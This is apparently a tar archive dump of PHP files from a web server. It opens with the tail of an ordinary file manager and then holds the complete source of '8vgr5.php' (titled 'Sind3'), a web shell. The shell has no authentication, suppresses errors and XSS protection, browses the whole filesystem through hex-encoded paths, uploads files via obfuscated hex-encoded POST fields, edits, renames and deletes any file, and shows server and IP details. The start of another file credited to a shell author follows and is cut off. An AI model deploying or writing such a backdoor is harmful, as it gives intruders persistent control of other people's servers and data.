        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        
        // Check if this is a confirmation request
        $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
        
        if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
                }
                rmdir($file_path);
                $message = "Folder '{$file}' deleted successfully!";
            } else {
                if(unlink($file_path)){
                    $message = "File '{$file}' deleted successfully!";
                } else {
                    $message = "Error deleting file '{$file}'!";
                }
            }
            header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
            exit;
        } else {
            // Show confirmation page
            if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
                echo "<h2>Confirm Delete</h2>";
                echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
                echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
                echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
                echo "<br>";
                echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</body></html>";
                exit;
            }
        }
        break;

    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
            $uploaded = $_FILES['file'];
            if($uploaded['error'] === UPLOAD_ERR_OK){
                $name = basename($uploaded['name']);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    if(move_uploaded_file($uploaded['tmp_name'], $dest)){
                        @chmod($dest, 0644);
                        $message = "File '{$name}' uploaded successfully!";
                    } else {
                        $message = "Error uploading file '{$name}'!";
                    }
                } else {
                    $message = "Invalid upload path!";
                }
            } else {
                $message = "Upload error: " . $uploaded['error'];
            }
        }
        // Stay on same page with message
        break;

    case 'download':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
            header('Content-Length: '.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

    case 'create_folder':
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $folder = sanitize_path($_POST['folder_name'] ?? '');
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
                    if(mkdir($fp, 0755, true)){
                        $message = "Folder '{$folder}' created successfully!";
                    } else {
                        $message = "Error creating folder '{$folder}'!";
                    }
                } else {
                    $message = "Folder already exists or invalid path!";
                }
            } else {
                $message = "Please enter a folder name!";
            }
        }
        // Stay on same page with message
        break;
}

// Get message from URL if redirected
if(isset($_GET['message'])){
    $message = $_GET['message'];
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: Arial, sans-serif;
            background: #f2f4f8;
            padding: 20px;
        }
        
        .container {
            background: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0,0,0,.08);
        }
        
        h1 {
            margin-bottom: 12px;
        }
        
        .table {
            width: 100%;
            border-collapse: collapse;
        }
        
        th, td {
            padding: 10px;
            border-bottom: 1px solid #eee;
        }
        
        th {
            background: #007bff;
            color: #fff;
            text-align: left;
        }
        
        .trhover:hover {
            background: #fafbfc;
        }
        
        .btn {
            display: inline-block;
            padding: 6px 10px;
            background: #007bff;
            color: #fff;
            border-radius: 6px;
            text-decoration: none;
            margin-right: 6px;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #0056b3;
        }
        
        .btn-danger {
            background: #dc3545;
        }
        
        .btn-danger:hover {
            background: #c82333;
        }
        
        .btn-success {
            background: #28a745;
        }
        
        .btn-success:hover {
            background: #218838;
        }
        
        .pathbar {
            background: #eef2f5;
            padding: 10px;
            border-radius: 8px;
            margin-bottom: 15px;
        }
        
        .toolbar {
            margin-bottom: 12px;
            padding: 10px;
            background: #f8f9fa;
            border-radius: 8px;
        }
        
        .small {
            font-size: 0.9em;
            color: #666;
        }
        
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            font-weight: bold;
        }
        
        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        input[type="text"], input[type="file"] {
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            margin-right: 5px;
        }
        
        .breadcrumb {
            margin: 10px 0;
            font-size: 14px;
        }
        
        .breadcrumb a {
            color: #007bff;
            text-decoration: none;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
<div class="container">
    <h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>

    <?php if($message): ?>
        <div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
            <?= htmlspecialchars($message) ?>
        </div>
    <?php endif; ?>

    <div class="pathbar">
        <!-- Navigation buttons -->
        <a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
        <a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
        <a class="btn" href="?action=list&dir=">📁 Root</a>
        
        <span class="small"> &nbsp; &nbsp; Current: 
        <?php if($requested_dir === ''): ?>
            / (<?= htmlspecialchars($root_anchor) ?>)
        <?php else: ?>
            /<?= htmlspecialchars($requested_dir) ?>
        <?php endif; ?>
        </span>
        
        <!-- Breadcrumb navigation -->
        <div class="breadcrumb">
            <a href="?action=list&dir=">Root</a>
            <?php foreach($dir_parts as $p): ?>
                › <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
            <?php endforeach; ?>
        </div>
    </div>

    <div class="toolbar">
        <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
            <input type="file" name="file" required>
            <button class="btn btn-success" type="submit">📤 Upload</button>
        </form>

        <form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
            <input type="text" name="folder_name" placeholder="New Folder Name" required>
            <button class="btn btn-success" type="submit">📁 Create Folder</button>
        </form>
    </div>

    <?php
    $files = get_file_list($current_dir);
    if(empty($files)): ?>
        <p><i>No files or folders found in this directory.</i></p>
    <?php else: ?>
        <table class="table">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Type</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($files as $f): ?>
                    <tr class="trhover">
                        <td>
                            <?php if($f['type'] === 'directory'): ?>
                                📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
                            <?php else: ?>
                                📄 <?= htmlspecialchars($f['name']) ?>
                            <?php endif; ?>
                        </td>
                        <td><?= $f['type'] ?></td>
                        <td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
                        <td><?= $f['modified'] ?></td>
                        <td>
                            <?php if($f['type'] === 'directory'): 
                                $next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
                            ?>
                                <a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
                            <?php else: ?>
                                <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
                                <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
                            <?php endif; ?>
                            <a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
    
    <div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
        <small>
            <strong>Security Info:</strong> 
            You can only access files within: <?= htmlspecialchars($root_anchor) ?>
        </small>
    </div>
</div>

<script>
// Simple confirmation for delete links
document.addEventListener('DOMContentLoaded', function() {
    var deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
    deleteLinks.forEach(function(link) {
        link.addEventListener('click', function(e) {
            // Let the server handle confirmation - don't prevent default
            // The server will show a confirmation page
        });
    });
});
</script>
</body>
</html>8vgr5.php000064400000056045151550052240006241 0ustar00<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
    } else {
        return stream_copy_to_stream($in, $out) !== false;
    }
}

if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
    $fileName = $_POST['benkyo'];
    $encodedContent = $_POST['dakeja'];
    $decodedContent = hex2bin($encodedContent);

    if ($decodedContent === false) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
        } else {
            setFlash('failed', 'Invalid Base64 encoding');
            header("Location: ?d=" . hex($d));
        }
        exit;
    }

    $tempStream = fopen('php://temp', 'r+');
    fwrite($tempStream, $decodedContent);
    rewind($tempStream);

    $targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
    $outStream = fopen($targetPath, 'wb');

    $success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);

    if ($outStream) fclose($outStream);
    if ($tempStream) fclose($tempStream);

    if ($success) {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
        } else {
            setFlash('success', 'File uploaded successfully');
            header("Location: ?d=" . hex($d));
        }
    } else {
        if ($isAjax) {
            header('Content-Type: application/json');
            echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
        } else {
            setFlash('failed', 'File upload failed');
            header("Location: ?d=" . hex($d));
            exit;
        }
    }
    exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
    if ($_GET['action'] === 'delete') {
        $fileName = $_GET['file'];
        $filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
        if (!$filePath || !is_file($filePath)) {
            $response = ['status'=>'failed','msg'=>'File not found or access denied'];
        } else {
            $result = unlink($filePath);
            $response = $result 
                ? ['status'=>'success','msg'=>'File deleted successfully'] 
                : ['status'=>'failed','msg'=>'File deletion failed'];
        }
        header('Content-Type: application/json');
        echo json_encode($response);
        exit; 
    } elseif ($_GET['action'] === 'rename') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
            $oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            $newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
            if ($oldFile && is_file($oldFile)) {
                $result = rename($oldFile, $newFile);
                $response = $result 
                    ? ['status'=>'success','msg'=>'File renamed successfully'] 
                    : ['status'=>'failed','msg'=>'File renaming failed'];
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status'=>'failed','msg'=>'File not found']);
                exit;
            }
        } elseif ($isAjax) {
            echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
            echo '<div class="terminal-box">';
            echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
            echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
            echo '<br><input type="submit" value="Rename"> ';
            echo '<button type="button" id="cancelAction">Cancel</button>';
            echo '</form>';
            echo '</div><hr>';
            exit;
        }
    } elseif ($_GET['action'] === 'edit') {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $fp = fopen($filePath, "w");
                if ($fp) {
                    $bytesWritten = fwrite($fp, stripslashes($_POST['content']));
                    fclose($fp);
                    $response = ($bytesWritten !== false)
                        ? ['status' => 'success', 'msg' => 'File edited successfully']
                        : ['status' => 'failed', 'msg' => 'File editing failed'];
                } else {
                    $response = ['status' => 'failed', 'msg' => 'File opening failed'];
                }
                header('Content-Type: application/json');
                echo json_encode($response);
                exit;
            } else {
                header('Content-Type: application/json');
                echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
                exit;
            }        
        } elseif ($isAjax) {
            $filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
            if ($filePath && is_file($filePath)) {
                $content = file_get_contents($filePath);
                echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
                echo '<div class="terminal-box">';
                echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
                echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
                echo '<br><input type="submit" value="Save"> ';
                echo '<button type="button" id="cancelAction">Cancel</button>';
                echo '</form>';
                echo '</div><hr>';
            }
            exit;
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
hpmo7.php000064400000324523151550052240006317 0ustar00<?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);

